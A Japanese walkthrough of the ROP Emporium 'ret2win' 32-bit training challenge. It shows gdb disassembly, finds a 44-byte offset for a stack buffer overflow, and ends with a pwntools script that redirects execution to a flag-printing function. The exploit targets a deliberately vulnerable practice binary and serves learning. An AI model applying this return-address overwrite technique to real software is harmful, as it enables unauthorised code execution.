ROP Emporium ret2win (32bit)

ROP Emporium


ROP Emporium
ROPの練習サイトです.
2020年7月に更新されていろいろ変わってるみたい.

ret2win (32bit)


$ ./ret2win32 
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaa
Thank you!

Exiting
$ ./ret2win32
ret2win by ROP Emporium
x86

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Thank you!
Segmentation fault

gdbで解析していきます.

$ gdb ./ret2win 
gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x08048374  _init
0x080483b0  read@plt
0x080483c0  printf@plt
0x080483d0  puts@plt
0x080483e0  system@plt
0x080483f0  __libc_start_main@plt
0x08048400  setvbuf@plt
0x08048410  memset@plt
0x08048420  __gmon_start__@plt
0x08048430  _start
0x08048470  _dl_relocate_static_pie
0x08048480  __x86.get_pc_thunk.bx
0x08048490  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048540  frame_dummy
0x08048546  main
0x080485ad  pwnme
0x0804862c  ret2win
0x08048660  __libc_csu_init
0x080486c0  __libc_csu_fini
0x080486c4  _fini

ret2winという関数があります.

gdb-peda$ disas ret2win 
Dump of assembler code for function ret2win:
   0x0804862c <+0>:     push   ebp
   0x0804862d <+1>:     mov    ebp,esp
   0x0804862f <+3>:     sub    esp,0x8
   0x08048632 <+6>:     sub    esp,0xc
   0x08048635 <+9>:     push   0x80487f6
   0x0804863a <+14>:    call   0x80483d0 <puts@plt>
   0x0804863f <+19>:    add    esp,0x10
   0x08048642 <+22>:    sub    esp,0xc
   0x08048645 <+25>:    push   0x8048813
   0x0804864a <+30>:    call   0x80483e0 <system@plt>
   0x0804864f <+35>:    add    esp,0x10
   0x08048652 <+38>:    nop
   0x08048653 <+39>:    leave  
   0x08048654 <+40>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x8048813
0x8048813:      "/bin/cat flag.txt"

flag.txtを表示してくれる関数みたい.
mainを見ていきます.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08048546 <+0>:     lea    ecx,[esp+0x4]
   0x0804854a <+4>:     and    esp,0xfffffff0
   0x0804854d <+7>:     push   DWORD PTR [ecx-0x4]
   0x08048550 <+10>:    push   ebp
   0x08048551 <+11>:    mov    ebp,esp
   0x08048553 <+13>:    push   ecx
   0x08048554 <+14>:    sub    esp,0x4
   0x08048557 <+17>:    mov    eax,ds:0x804a030
   0x0804855c <+22>:    push   0x0
   0x0804855e <+24>:    push   0x2
   0x08048560 <+26>:    push   0x0
   0x08048562 <+28>:    push   eax
   0x08048563 <+29>:    call   0x8048400 <setvbuf@plt>
   0x08048568 <+34>:    add    esp,0x10
   0x0804856b <+37>:    sub    esp,0xc
   0x0804856e <+40>:    push   0x80486e0
   0x08048573 <+45>:    call   0x80483d0 <puts@plt>
   0x08048578 <+50>:    add    esp,0x10
   0x0804857b <+53>:    sub    esp,0xc
   0x0804857e <+56>:    push   0x80486f8
   0x08048583 <+61>:    call   0x80483d0 <puts@plt>
   0x08048588 <+66>:    add    esp,0x10
   0x0804858b <+69>:    call   0x80485ad <pwnme>
   0x08048590 <+74>:    sub    esp,0xc
   0x08048593 <+77>:    push   0x80486fd
   0x08048598 <+82>:    call   0x80483d0 <puts@plt>
   0x0804859d <+87>:    add    esp,0x10
   0x080485a0 <+90>:    mov    eax,0x0
   0x080485a5 <+95>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x080485a8 <+98>:    leave  
   0x080485a9 <+99>:    lea    esp,[ecx-0x4]
   0x080485ac <+102>:   ret    
End of assembler dump.

pwnmeが呼ばれています.

gdb-peda$ disas pwnme 
Dump of assembler code for function pwnme:
   0x080485ad <+0>:     push   ebp
   0x080485ae <+1>:     mov    ebp,esp
   0x080485b0 <+3>:     sub    esp,0x28
   0x080485b3 <+6>:     sub    esp,0x4
   0x080485b6 <+9>:     push   0x20
   0x080485b8 <+11>:    push   0x0
   0x080485ba <+13>:    lea    eax,[ebp-0x28]
   0x080485bd <+16>:    push   eax
   0x080485be <+17>:    call   0x8048410 <memset@plt>
   0x080485c3 <+22>:    add    esp,0x10
   0x080485c6 <+25>:    sub    esp,0xc
   0x080485c9 <+28>:    push   0x8048708
   0x080485ce <+33>:    call   0x80483d0 <puts@plt>
   0x080485d3 <+38>:    add    esp,0x10
   0x080485d6 <+41>:    sub    esp,0xc
   0x080485d9 <+44>:    push   0x8048768
   0x080485de <+49>:    call   0x80483d0 <puts@plt>
   0x080485e3 <+54>:    add    esp,0x10
   0x080485e6 <+57>:    sub    esp,0xc
   0x080485e9 <+60>:    push   0x8048788
   0x080485ee <+65>:    call   0x80483d0 <puts@plt>
   0x080485f3 <+70>:    add    esp,0x10
   0x080485f6 <+73>:    sub    esp,0xc
   0x080485f9 <+76>:    push   0x80487e8
   0x080485fe <+81>:    call   0x80483c0 <printf@plt>
   0x08048603 <+86>:    add    esp,0x10
   0x08048606 <+89>:    sub    esp,0x4
   0x08048609 <+92>:    push   0x38
   0x0804860b <+94>:    lea    eax,[ebp-0x28]
   0x0804860e <+97>:    push   eax
   0x0804860f <+98>:    push   0x0
   0x08048611 <+100>:   call   0x80483b0 <read@plt>
   0x08048616 <+105>:   add    esp,0x10
   0x08048619 <+108>:   sub    esp,0xc
   0x0804861c <+111>:   push   0x80487eb
   0x08048621 <+116>:   call   0x80483d0 <puts@plt>
   0x08048626 <+121>:   add    esp,0x10
   0x08048629 <+124>:   nop
   0x0804862a <+125>:   leave  
   0x0804862b <+126>:   ret    
End of assembler dump.

memsetで32(=0x20)byteしか確保されてないけど, readで最大56(=0x38)byteまで読み込める. ここでバッファオーバーフローが起きそうです.
offsetを調べます.

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r 
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xffffffff 
ESI: 0xf7fb4000 --> 0x1e4d6c 
EDI: 0xf7fb4000 --> 0x1e4d6c 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffdbc0 ("bAA1AAGA")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
gdb-peda$ patto AFAA
AFAA found at offset: 44

offsetは44
リターンアドレスを書き換えてret2winを呼び出します.
(今回は必要ない気がするけど)スクリプトを書いた.

from pwn import *

p=process('./ret2win32')
e=ELF('./ret2win32')

ret2win=e.symbols['ret2win']
payload=b'A'*44+p32(ret2win)

p.recv()
p.sendline(payload)
print(p.recvall().decode())